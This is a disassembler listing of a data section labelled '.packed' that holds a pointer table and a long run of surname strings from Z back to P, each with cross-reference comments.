		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: .packed:0042FEC8o
		align 4
aZwiers		db 'Zwiers',0           ; DATA XREF: .packed:0042FEC4o
		align 10h
aZurn		db 'Zurn',0             ; DATA XREF: .packed:0042FEC0o
		align 4
aZucconi	db 'Zucconi',0          ; DATA XREF: .packed:0042FEBCo
aZoldak		db 'Zoldak',0           ; DATA XREF: .packed:0042FEB8o
		align 4
aZerbini	db 'Zerbini',0          ; DATA XREF: .packed:0042FEB4o
aZegans		db 'Zegans',0           ; DATA XREF: .packed:0042FEB0o
		align 4
aZangwill	db 'Zangwill',0         ; DATA XREF: .packed:0042FEACo
		align 4
aZahedi		db 'Zahedi',0           ; DATA XREF: .packed:0042FEA8o
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: .packed:0042FEA4o
aYu		db 'Yu',0               ; DATA XREF: .packed:0042FEA0o
		align 4
aYoukSee	db 'Youk-See',0         ; DATA XREF: .packed:0042FE9Co
		align 4
aYoo		db 'Yoo',0              ; DATA XREF: .packed:0042FE98o
aYoffe		db 'Yoffe',0            ; DATA XREF: .packed:0042FE94o
		align 10h
aYetiv		db 'Yetiv',0            ; DATA XREF: .packed:0042FE90o
		align 4
aYesson		db 'Yesson',0           ; DATA XREF: .packed:0042FE8Co
		align 10h
aYedidia	db 'Yedidia',0          ; DATA XREF: .packed:0042FE88o
aYbarra		db 'Ybarra',0           ; DATA XREF: .packed:0042FE84o
		align 10h
aYates		db 'Yates',0            ; DATA XREF: .packed:0042FE80o
		align 4
aYarchuk	db 'Yarchuk',0          ; DATA XREF: .packed:0042FE7Co
aYankee		db 'Yankee',0           ; DATA XREF: .packed:0042FE78o
		align 4
aYamane		db 'Yamane',0           ; DATA XREF: .packed:0042FE74o
		align 10h
aYacono		db 'Yacono',0           ; DATA XREF: .packed:0042FE70o
		align 4
aVotey		db 'Votey',0            ; DATA XREF: .packed:0042FE6Co
		align 10h
aVorhaus	db 'Vorhaus',0          ; DATA XREF: .packed:0042FE68o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: .packed:0042FE64o
		align 4
aWoods		db 'Woods',0            ; DATA XREF: .packed:0042FE60o
		align 10h
aWooden		db 'Wooden',0           ; DATA XREF: .packed:0042FE5Co
		align 4
aWoo		db 'Woo',0              ; DATA XREF: .packed:0042FE58o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: .packed:0042FE54o
		align 4
aWolk		db 'Wolk',0             ; DATA XREF: .packed:0042FE50o
		align 10h
aVoigt		db 'Voigt',0            ; DATA XREF: .packed:0042FE4Co
		align 4
aViviani	db 'Viviani',0          ; DATA XREF: .packed:0042FE48o
aVitali		db 'Vitali',0           ; DATA XREF: .packed:0042FE44o
		align 4
aWilson		db 'Wilson',0           ; DATA XREF: .packed:0042FE40o
		align 10h
aWillstatter	db 'Willstatter',0      ; DATA XREF: .packed:0042FE3Co
aVillarreal	db 'Villarreal',0       ; DATA XREF: .packed:0042FE38o
		align 4
aWilkinson	db 'Wilkinson',0        ; DATA XREF: .packed:0042FE34o
		align 4
aWilkin		db 'Wilkin',0           ; DATA XREF: .packed:0042FE30o
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: .packed:0042FE2Co
		align 4
aWilhelm	db 'Wilhelm',0          ; DATA XREF: .packed:0042FE28o
aWilder		db 'Wilder',0           ; DATA XREF: .packed:0042FE24o
		align 4
aVignola	db 'Vignola',0          ; DATA XREF: .packed:0042FE20o
aViens		db 'Viens',0            ; DATA XREF: .packed:0042FE1Co
		align 4
aWiener		db 'Wiener',0           ; DATA XREF: .packed:0042FE18o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: .packed:0042FE14o
aViano		db 'Viano',0            ; DATA XREF: .packed:0042FE10o
		align 10h
aViana		db 'Viana',0            ; DATA XREF: .packed:0042FE0Co
		align 4
aWhittaker	db 'Whittaker',0        ; DATA XREF: .packed:0042FE08o
		align 4
aWhitla		db 'Whitla',0           ; DATA XREF: .packed:0042FE04o
		align 4
aWhite		db 'White',0            ; DATA XREF: .packed:0042FE00o
		align 4
aWhilton	db 'Whilton',0          ; DATA XREF: .packed:0042FDFCo
aWhately	db 'Whately',0          ; DATA XREF: .packed:0042FDF8o
aWetzel		db 'Wetzel',0           ; DATA XREF: .packed:0042FDF4o
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: .packed:0042FDF0o
aVerghese	db 'Verghese',0         ; DATA XREF: .packed:0042FDECo
		align 10h
aVenne		db 'Venne',0            ; DATA XREF: .packed:0042FDE8o
		align 4
aWengret	db 'Wengret',0          ; DATA XREF: .packed:0042FDE4o
aWelsh		db 'Welsh',0            ; DATA XREF: .packed:0042FDE0o
		align 4
aWelles		db 'Welles',0           ; DATA XREF: .packed:0042FDDCo
		align 10h
aVelasquez	db 'Velasquez',0        ; DATA XREF: .packed:0042FDD8o
		align 4
aWeissman	db 'Weissman',0         ; DATA XREF: .packed:0042FDD4o
		align 4
aWeissbourd	db 'Weissbourd',0       ; DATA XREF: .packed:0042FDD0o
		align 4
aWeinhaus	db 'Weinhaus',0         ; DATA XREF: .packed:0042FDCCo
		align 10h
aWeingarten	db 'Weingarten',0       ; DATA XREF: .packed:0042FDC8o
		align 4
aWeighart	db 'Weighart',0         ; DATA XREF: .packed:0042FDC4o
		align 4
aWaugh		db 'Waugh',0            ; DATA XREF: .packed:0042FDC0o
		align 10h
aVasquez	db 'Vasquez',0          ; DATA XREF: .packed:0042FDBCo
aWasowska	db 'Wasowska',0         ; DATA XREF: .packed:0042FDB8o
		align 4
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: .packed:0042FDB4o
		align 10h
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: .packed:0042FDB0o
		align 10h
aVandenberg	db 'Vandenberg',0       ; DATA XREF: .packed:0042FDACo
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: .packed:0042FDA8o
aVanallen	db 'vanAllen',0         ; DATA XREF: .packed:0042FDA4o
		align 10h
aWalter		db 'Walter',0           ; DATA XREF: .packed:0042FDA0o
		align 4
aWallenberg	db 'Wallenberg',0       ; DATA XREF: .packed:0042FD9Co
		align 4
aWales		db 'Wales',0            ; DATA XREF: .packed:0042FD98o
		align 4
aValencia	db 'Valencia',0         ; DATA XREF: .packed:0042FD94o
		align 4
aValberg	db 'Valberg',0          ; DATA XREF: .packed:0042FD90o
aWaite		db 'Waite',0            ; DATA XREF: .packed:0042FD8Co
		align 4
aVacca		db 'Vacca',0            ; DATA XREF: .packed:0042FD88o
		align 10h
aUzuner		db 'Uzuner',0           ; DATA XREF: .packed:0042FD84o
		align 4
aUsdan		db 'Usdan',0            ; DATA XREF: .packed:0042FD80o
		align 10h
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: .packed:0042FD7Co
		align 10h
aUrban		db 'Urban',0            ; DATA XREF: .packed:0042FD78o
		align 4
aUpsdell	db 'Upsdell',0          ; DATA XREF: .packed:0042FD74o
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: .packed:0042FD70o
		align 4
aUllman		db 'Ullman',0           ; DATA XREF: .packed:0042FD6Co
		align 4
aTzamarias	db 'Tzamarias',0        ; DATA XREF: .packed:0042FD68o
		align 10h
aTwells		db 'Twells',0           ; DATA XREF: .packed:0042FD64o
		align 4
aTuttle		db 'Tuttle',0           ; DATA XREF: .packed:0042FD60o
		align 10h
aTurek		db 'Turek',0            ; DATA XREF: .packed:0042FD5Co
		align 4
aTurano		db 'Turano',0           ; DATA XREF: .packed:0042FD58o
		align 10h
aTukan		db 'Tukan',0            ; DATA XREF: .packed:0042FD54o
		align 4
aTudge		db 'Tudge',0            ; DATA XREF: .packed:0042FD50o
		align 10h
aTuck		db 'Tuck',0             ; DATA XREF: .packed:0042FD4Co
		align 4
aTsukurov	db 'Tsukurov',0         ; DATA XREF: .packed:0042FD48o
		align 4
aTsomides	db 'Tsomides',0         ; DATA XREF: .packed:0042FD44o
		align 10h
aTsiatis	db 'Tsiatis',0          ; DATA XREF: .packed:0042FD40o
aTruss		db 'Truss',0            ; DATA XREF: .packed:0042FD3Co
		align 10h
aTroy		db 'Troy',0             ; DATA XREF: .packed:0042FD38o
		align 4
aTroiani	db 'Troiani',0          ; DATA XREF: .packed:0042FD34o
aTringali	db 'Tringali',0         ; DATA XREF: .packed:0042FD30o
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: .packed:0042FD2Co
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: .packed:0042FD28o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: .packed:0042FD24o
		align 4
aToye		db 'Toye',0             ; DATA XREF: .packed:0042FD20o
		align 10h
aTowler		db 'Towler',0           ; DATA XREF: .packed:0042FD1Co
		align 4
aTorske		db 'Torske',0           ; DATA XREF: .packed:0042FD18o
		align 10h
aTorresi	db 'Torresi',0          ; DATA XREF: .packed:0042FD14o
aTopulos	db 'Topulos',0          ; DATA XREF: .packed:0042FD10o
aToomer		db 'Toomer',0           ; DATA XREF: .packed:0042FD0Co
		align 4
aTomford	db 'Tomford',0          ; DATA XREF: .packed:0042FD08o
aTolman		db 'Tolman',0           ; DATA XREF: .packed:0042FD04o
		align 4
aTolls		db 'Tolls',0            ; DATA XREF: .packed:0042FD00o
		align 10h
aTollestrup	db 'Tollestrup',0       ; DATA XREF: .packed:0042FCFCo
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: .packed:0042FCF8o
		align 4
aTimmons	db 'Timmons',0          ; DATA XREF: .packed:0042FCF4o
aTill		db 'Till',0             ; DATA XREF: .packed:0042FCF0o
		align 4
aTierney	db 'Tierney',0          ; DATA XREF: .packed:0042FCECo
aThroop		db 'Throop',0           ; DATA XREF: .packed:0042FCE8o
		align 4
aThomsen	db 'Thomsen',0          ; DATA XREF: .packed:0042FCE4o
aThisted	db 'Thisted',0          ; DATA XREF: .packed:0042FCE0o
aThibault	db 'Thibault',0         ; DATA XREF: .packed:0042FCDCo
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: .packed:0042FCD8o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: .packed:0042FCD4o
		align 4
aThan		db 'Than',0             ; DATA XREF: .packed:0042FCD0o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: .packed:0042FCCCo
		align 10h
aTenney		db 'Tenney',0           ; DATA XREF: .packed:0042FCC8o
		align 4
aTemmer		db 'Temmer',0           ; DATA XREF: .packed:0042FCC4o
		align 10h
aTemes		db 'Temes',0            ; DATA XREF: .packed:0042FCC0o
		align 4
aTeague		db 'Teague',0           ; DATA XREF: .packed:0042FCBCo
		align 10h
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: .packed:0042FCB8o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: .packed:0042FCB4o
		align 4
aTaveras	db 'Taveras',0          ; DATA XREF: .packed:0042FCB0o
aTatar		db 'Tatar',0            ; DATA XREF: .packed:0042FCACo
		align 4
aTanowitz	db 'Tanowitz',0         ; DATA XREF: .packed:0042FCA8o
		align 10h
aTandler	db 'Tandler',0          ; DATA XREF: .packed:0042FCA4o
aTambiah	db 'Tambiah',0          ; DATA XREF: .packed:0042FCA0o
aTalaugon	db 'Talaugon',0         ; DATA XREF: .packed:0042FC9Co
		align 4
aTai		db 'Tai',0              ; DATA XREF: .packed:0042FC98o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: .packed:0042FC94o
aSwindle	db 'Swindle',0          ; DATA XREF: .packed:0042FC90o
aSweetser	db 'Sweetser',0         ; DATA XREF: .packed:0042FC8Co
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: .packed:0042FC88o
		align 4
aSurdam		db 'Surdam',0           ; DATA XREF: .packed:0042FC84o
		align 10h
aSuo		db 'Suo',0              ; DATA XREF: .packed:0042FC80o
aSumner		db 'Sumner',0           ; DATA XREF: .packed:0042FC7Co
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: .packed:0042FC78o
		align 4
aStringer	db 'Stringer',0         ; DATA XREF: .packed:0042FC74o
		align 4
aStreiff	db 'Streiff',0          ; DATA XREF: .packed:0042FC70o
aStrauch	db 'Strauch',0          ; DATA XREF: .packed:0042FC6Co
aStrange	db 'Strange',0          ; DATA XREF: .packed:0042FC68o
aStott		db 'Stott',0            ; DATA XREF: .packed:0042FC64o
		align 4
aStorer		db 'Storer',0           ; DATA XREF: .packed:0042FC60o
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: .packed:0042FC5Co
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: .packed:0042FC58o
aStockwell	db 'Stockwell',0        ; DATA XREF: .packed:0042FC54o
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: .packed:0042FC50o
		align 4
aStock		db 'Stock',0            ; DATA XREF: .packed:0042FC4Co
		align 10h
aStillwell	db 'Stillwell',0        ; DATA XREF: .packed:0042FC48o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: .packed:0042FC44o
		align 4
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: .packed:0042FC40o
		align 4
aStepniewska	db 'Stepniewska',0      ; DATA XREF: .packed:0042FC3Co
aStephanian	db 'Stephanian',0       ; DATA XREF: .packed:0042FC38o
		align 10h
aSteiner	db 'Steiner',0          ; DATA XREF: .packed:0042FC34o
aStefani	db 'Stefani',0          ; DATA XREF: .packed:0042FC30o
aStatlender	db 'Statlender',0       ; DATA XREF: .packed:0042FC2Co
		align 4
aStates		db 'States',0           ; DATA XREF: .packed:0042FC28o
		align 4
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: .packed:0042FC24o
		align 4
aStang		db 'Stang',0            ; DATA XREF: .packed:0042FC20o
		align 4
aStam		db 'Stam',0             ; DATA XREF: .packed:0042FC1Co
		align 4
aStalvey	db 'Stalvey',0          ; DATA XREF: .packed:0042FC18o
aStmartin	db 'StMartin',0         ; DATA XREF: .packed:0042FC14o
		align 4
aSpinrad	db 'Spinrad',0          ; DATA XREF: .packed:0042FC10o
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: .packed:0042FC0Co
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: .packed:0042FC08o
		align 4
aSpicer		db 'Spicer',0           ; DATA XREF: .packed:0042FC04o
		align 4
aSperber	db 'Sperber',0          ; DATA XREF: .packed:0042FC00o
aSpence		db 'Spence',0           ; DATA XREF: .packed:0042FBFCo
		align 4
aSpeizer	db 'Speizer',0          ; DATA XREF: .packed:0042FBF8o
aSpaulding	db 'Spaulding',0        ; DATA XREF: .packed:0042FBF4o
		align 4
aSparrow	db 'Sparrow',0          ; DATA XREF: .packed:0042FBF0o
aSpanier	db 'Spanier',0          ; DATA XREF: .packed:0042FBECo
aSoultanian	db 'Soultanian',0       ; DATA XREF: .packed:0042FBE8o
		align 4
aSoule		db 'Soule',0            ; DATA XREF: .packed:0042FBE4o
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: .packed:0042FBE0o
		align 4
aSottak		db 'Sottak',0           ; DATA XREF: .packed:0042FBDCo
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: .packed:0042FBD8o
		align 4
aSorabella	db 'Sorabella',0        ; DATA XREF: .packed:0042FBD4o
		align 10h
aSommariva	db 'Sommariva',0        ; DATA XREF: .packed:0042FBD0o
		align 4
aSomers		db 'Somers',0           ; DATA XREF: .packed:0042FBCCo
		align 4
aSolon		db 'Solon',0            ; DATA XREF: .packed:0042FBC8o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: .packed:0042FBC4o
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: .packed:0042FBC0o
		align 10h
aSniffen	db 'Sniffen',0          ; DATA XREF: .packed:0042FBBCo
aSmilow		db 'Smilow',0           ; DATA XREF: .packed:0042FBB8o
		align 10h
aSlowe		db 'Slowe',0            ; DATA XREF: .packed:0042FBB4o
		align 4
aSloan		db 'Sloan',0            ; DATA XREF: .packed:0042FBB0o
		align 10h
aSkoda		db 'Skoda',0            ; DATA XREF: .packed:0042FBACo
		align 4
aSkerry		db 'Skerry',0           ; DATA XREF: .packed:0042FBA8o
		align 10h
aSkane		db 'Skane',0            ; DATA XREF: .packed:0042FBA4o
		align 4
aSites		db 'Sites',0            ; DATA XREF: .packed:0042FBA0o
		align 10h
aSirilli	db 'Sirilli',0          ; DATA XREF: .packed:0042FB9Co
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: .packed:0042FB98o
		align 4
aSilvetti	db 'Silvetti',0         ; DATA XREF: .packed:0042FB94o
		align 10h
aSilverman	db 'Silverman',0        ; DATA XREF: .packed:0042FB90o
		align 4
aSigna		db 'Signa',0            ; DATA XREF: .packed:0042FB8Co
		align 4
aSigini		db 'Sigini',0           ; DATA XREF: .packed:0042FB88o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: .packed:0042FB84o
aSiesto		db 'Siesto',0           ; DATA XREF: .packed:0042FB80o
		align 4
aShimon		db 'Shimon',0           ; DATA XREF: .packed:0042FB7Co
		align 4
aShibata	db 'Shibata',0          ; DATA XREF: .packed:0042FB78o
aShia		db 'Shia',0             ; DATA XREF: .packed:0042FB74o
		align 4
aShesko		db 'Shesko',0           ; DATA XREF: .packed:0042FB70o
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: .packed:0042FB6Co
		align 4
aSheppard	db 'Sheppard',0         ; DATA XREF: .packed:0042FB68o
		align 4
aShepherd	db 'Shepherd',0         ; DATA XREF: .packed:0042FB64o
		align 10h
aSheats		db 'Sheats',0           ; DATA XREF: .packed:0042FB60o
		align 4
aShea		db 'Shea',0             ; DATA XREF: .packed:0042FB5Co
		align 10h
aShavelson	db 'Shavelson',0        ; DATA XREF: .packed:0042FB58o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: .packed:0042FB54o
aShar		db 'Shar',0             ; DATA XREF: .packed:0042FB50o
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: .packed:0042FB4Co
aShankland	db 'Shankland',0        ; DATA XREF: .packed:0042FB48o
		align 10h
aShakis		db 'Shakis',0           ; DATA XREF: .packed:0042FB44o
		align 4
aShaikh		db 'Shaikh',0           ; DATA XREF: .packed:0042FB40o
		align 10h
aSeyfert	db 'Seyfert',0          ; DATA XREF: .packed:0042FB3Co
aSexton		db 'Sexton',0           ; DATA XREF: .packed:0042FB38o
		align 10h
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: .packed:0042FB34o
		align 4
aSennett	db 'Sennett',0          ; DATA XREF: .packed:0042FB30o
aSen		db 'Sen',0              ; DATA XREF: .packed:0042FB2Co
aSelvage	db 'Selvage',0          ; DATA XREF: .packed:0042FB28o
aSekler		db 'Sekler',0           ; DATA XREF: .packed:0042FB24o
		align 4
aSegal		db 'Segal',0            ; DATA XREF: .packed:0042FB20o
		align 10h
aSeeber		db 'Seeber',0           ; DATA XREF: .packed:0042FB1Co
		align 4
aSeaton		db 'Seaton',0           ; DATA XREF: .packed:0042FB18o
		align 10h
aScudder	db 'Scudder',0          ; DATA XREF: .packed:0042FB14o
aScovel		db 'Scovel',0           ; DATA XREF: .packed:0042FB10o
		align 10h
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: .packed:0042FB0Co
aSchwan		db 'Schwan',0           ; DATA XREF: .packed:0042FB08o
		align 4
aSchuyler	db 'Schuyler',0         ; DATA XREF: .packed:0042FB04o
		align 10h
aSchutte	db 'Schutte',0          ; DATA XREF: .packed:0042FB00o
aSchuman	db 'Schuman',0          ; DATA XREF: .packed:0042FAFCo
aSchossberger	db 'Schossberger',0     ; DATA XREF: .packed:0042FAF8o
		align 10h
aSchmitt	db 'Schmitt',0          ; DATA XREF: .packed:0042FAF4o
aSchilling	db 'Schilling',0        ; DATA XREF: .packed:0042FAF0o
		align 4
aSchifini	db 'Schifini',0         ; DATA XREF: .packed:0042FAECo
		align 10h
aSchiano	db 'Schiano',0          ; DATA XREF: .packed:0042FAE8o
aScheiner	db 'Scheiner',0         ; DATA XREF: .packed:0042FAE4o
		align 4
aScharlemann	db 'Scharlemann',0      ; DATA XREF: .packed:0042FAE0o
aScharf		db 'Scharf',0           ; DATA XREF: .packed:0042FADCo
		align 4
aScepan		db 'Scepan',0           ; DATA XREF: .packed:0042FAD8o
		align 10h
aScarponi	db 'Scarponi',0         ; DATA XREF: .packed:0042FAD4o
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: .packed:0042FAD0o
		align 4
aSawtell	db 'Sawtell',0          ; DATA XREF: .packed:0042FACCo
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: .packed:0042FAC8o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: .packed:0042FAC4o
		align 4
aSatin		db 'Satin',0            ; DATA XREF: .packed:0042FAC0o
		align 4
aSase		db 'Sase',0             ; DATA XREF: .packed:0042FABCo
		align 4
aSartore	db 'Sartore',0          ; DATA XREF: .packed:0042FAB8o
aSarin		db 'Sarin',0            ; DATA XREF: .packed:0042FAB4o
		align 4
aSapers		db 'Sapers',0           ; DATA XREF: .packed:0042FAB0o
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: .packed:0042FAACo
		align 4
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: .packed:0042FAA8o
aSamson		db 'Samson',0           ; DATA XREF: .packed:0042FAA4o
		align 4
aSali		db 'Sali',0             ; DATA XREF: .packed:0042FAA0o
		align 4
aSahu		db 'Sahu',0             ; DATA XREF: .packed:0042FA9Co
		align 4
aSafire		db 'Safire',0           ; DATA XREF: .packed:0042FA98o
		align 4
aSadler		db 'Sadler',0           ; DATA XREF: .packed:0042FA94o
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: .packed:0042FA90o
		align 4
aRyu		db 'Ryu',0              ; DATA XREF: .packed:0042FA8Co
aRush		db 'Rush',0             ; DATA XREF: .packed:0042FA88o
		align 4
aRuescher	db 'Ruescher',0         ; DATA XREF: .packed:0042FA84o
		align 10h
aRuderman	db 'Ruderman',0         ; DATA XREF: .packed:0042FA80o
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: .packed:0042FA7Co
		align 4
aRu		db 'Ru',0               ; DATA XREF: .packed:0042FA78o
		align 4
aRoyal		db 'Royal',0            ; DATA XREF: .packed:0042FA74o
		align 10h
aRow		db 'Row',0              ; DATA XREF: .packed:0042FA70o
aRonen		db 'Ronen',0            ; DATA XREF: .packed:0042FA6Co
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: .packed:0042FA68o
		align 4
aRoesler	db 'Roesler',0          ; DATA XREF: .packed:0042FA64o
aRocha		db 'Rocha',0            ; DATA XREF: .packed:0042FA60o
		align 4
aRobinson	db 'Robinson',0         ; DATA XREF: .packed:0042FA5Co
		align 10h
aRivera		db 'Rivera',0           ; DATA XREF: .packed:0042FA58o
		align 4
aRish		db 'Rish',0             ; DATA XREF: .packed:0042FA54o
		align 10h
aRineer		db 'Rineer',0           ; DATA XREF: .packed:0042FA50o
		align 4
aRindos		db 'Rindos',0           ; DATA XREF: .packed:0042FA4Co
		align 10h
aRielly		db 'Rielly',0           ; DATA XREF: .packed:0042FA48o
		align 4
aRichmond	db 'Richmond',0         ; DATA XREF: .packed:0042FA44o
		align 4
aRhea		db 'Rhea',0             ; DATA XREF: .packed:0042FA40o
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: .packed:0042FA3Co
		align 4
aRepetto	db 'Repetto',0          ; DATA XREF: .packed:0042FA38o
aRenick		db 'Renick',0           ; DATA XREF: .packed:0042FA34o
		align 4
aRemak		db 'Remak',0            ; DATA XREF: .packed:0042FA30o
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: .packed:0042FA2Co
aCunningham	db 'Cunningham',0       ; DATA XREF: .packed:0042FA28o
		align 10h
aReedquist	db 'Reedquist',0        ; DATA XREF: .packed:0042FA24o
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: .packed:0042FA20o
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: .packed:0042FA1Co
aRapple		db 'Rapple',0           ; DATA XREF: .packed:0042FA18o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: .packed:0042FA14o
		align 4
aRangan		db 'Rangan',0           ; DATA XREF: .packed:0042FA10o
		align 4
aRaney		db 'Raney',0            ; DATA XREF: .packed:0042FA0Co
		align 4
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: .packed:0042FA08o
aRadeke		db 'Radeke',0           ; DATA XREF: .packed:0042FA04o
		align 4
aRabkin		db 'Rabkin',0           ; DATA XREF: .packed:0042FA00o
		align 10h
aRabe		db 'Rabe',0             ; DATA XREF: .packed:0042F9FCo
		align 4
aQuetin		db 'Quetin',0           ; DATA XREF: .packed:0042F9F8o
		align 10h
aQuaday		db 'Quaday',0           ; DATA XREF: .packed:0042F9F4o
		align 4
aPynchon	db 'Pynchon',0          ; DATA XREF: .packed:0042F9F0o
aPugh		db 'Pugh',0             ; DATA XREF: .packed:0042F9ECo
		align 4
aPuccia		db 'Puccia',0           ; DATA XREF: .packed:0042F9E8o
		align 10h
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: .packed:0042F9E4o
		align 10h
aProietti	db 'Proietti',0         ; DATA XREF: .packed:0042F9E0o
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: .packed:0042F9DCo
		align 4
aPritchard	db 'Pritchard',0        ; DATA XREF: .packed:0042F9D8o
		align 10h
aPrevost	db 'Prevost',0          ; DATA XREF: .packed:0042F9D4o
aPreucel	db 'Preucel',0          ; DATA XREF: .packed:0042F9D0o
aPresper	db 'Presper',0          ; DATA XREF: .packed:0042F9CCo
aPowers		db 'Powers',0           ; DATA XREF: .packed:0042F9C8o
		align 10h
aPoolman	db 'Poolman',0          ; DATA XREF: .packed:0042F9C4o
aPoma		db 'Poma',0             ; DATA XREF: .packed:0042F9C0o
		align 10h
aPolitis	db 'Politis',0          ; DATA XREF: .packed:0042F9BCo
aPolanyi	db 'Polanyi',0          ; DATA XREF: .packed:0042F9B8o
aPolak		db 'Polak',0            ; DATA XREF: .packed:0042F9B4o
		align 4
aPoirier	db 'Poirier',0          ; DATA XREF: .packed:0042F9B0o
aPointer	db 'Pointer',0          ; DATA XREF: .packed:0042F9ACo
aPoincaire	db 'Poincaire',0        ; DATA XREF: .packed:0042F9A8o
		align 4
aPocobene	db 'Pocobene',0         ; DATA XREF: .packed:0042F9A4o
		align 10h
aPo		db 'Po',0               ; DATA XREF: .packed:0042F9A0o
		align 4
aPlous		db 'Plous',0            ; DATA XREF: .packed:0042F99Co
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: .packed:0042F998o
aPlant		db 'Plant',0            ; DATA XREF: .packed:0042F994o
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: .packed:0042F990o
aPinot		db 'Pinot',0            ; DATA XREF: .packed:0042F98Co
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: .packed:0042F988o
aPfister	db 'Pfister',0          ; DATA XREF: .packed:0042F984o
aPettit		db 'Pettit',0           ; DATA XREF: .packed:0042F980o
		align 4
aPettibone	db 'Pettibone',0        ; DATA XREF: .packed:0042F97Co
		align 10h
aPetruzello	db 'Petruzello',0       ; DATA XREF: .packed:0042F978o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: .packed:0042F974o
		align 4
aPerrimon	db 'Perrimon',0         ; DATA XREF: .packed:0042F970o
		align 10h
aPerone		db 'Perone',0           ; DATA XREF: .packed:0042F96Co
		align 4
aPerna		db 'Perna',0            ; DATA XREF: .packed:0042F968o
		align 10h
aPerlman	db 'Perlman',0          ; DATA XREF: .packed:0042F964o
aPerlak		db 'Perlak',0           ; DATA XREF: .packed:0042F960o
		align 10h
aPerko		db 'Perko',0            ; DATA XREF: .packed:0042F95Co
		align 4
aPereira	db 'Pereira',0          ; DATA XREF: .packed:0042F958o
aPenny		db 'Penny',0            ; DATA XREF: .packed:0042F954o
		align 4
aPeishel	db 'Peishel',0          ; DATA XREF: .packed:0042F950o
aPederson	db 'Pederson',0         ; DATA XREF: .packed:0042F94Co
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: .packed:0042F948o
		align 4
aPeabody	db 'Peabody',0          ; DATA XREF: .packed:0042F944o
aPaynter	db 'Paynter',0          ; DATA XREF: .packed:0042F940o
aPawloski	db 'Pawloski',0         ; DATA XREF: .packed:0042F93Co
		align 4
aPavlon		db 'Pavlon',0           ; DATA XREF: .packed:0042F938o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: .packed:0042F934o
aPattullo	db 'Pattullo',0         ; DATA XREF: .packed:0042F930o
		align 10h
aPatrick	db 'Patrick',0          ; DATA XREF: .packed:0042F92Co
aPatefield	db 'Patefield',0        ; DATA XREF: .packed:0042F928o
		align 4
aPascucci	db 'Pascucci',0         ; DATA XREF: .packed:0042F924o
		align 10h
aPartridge	db 'Partridge',0        ; DATA XREF: .packed:0042F920o
		align 4
aParris		db 'Parris',0           ; DATA XREF: .packed:0042F91Co
		align 4
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: .packed:0042F918o
aPaoletti	db 'Paoletti',0         ; DATA XREF: .packed:0042F914o
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: .packed:0042F910o
		align 4
aPanizzon	db 'Panizzon',0         ; DATA XREF: .packed:0042F90Co
		align 4
aPanadero	db 'Panadero',0         ; DATA XREF: .packed:0042F908o
		align 10h
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: .packed:0042F904o
		align 4
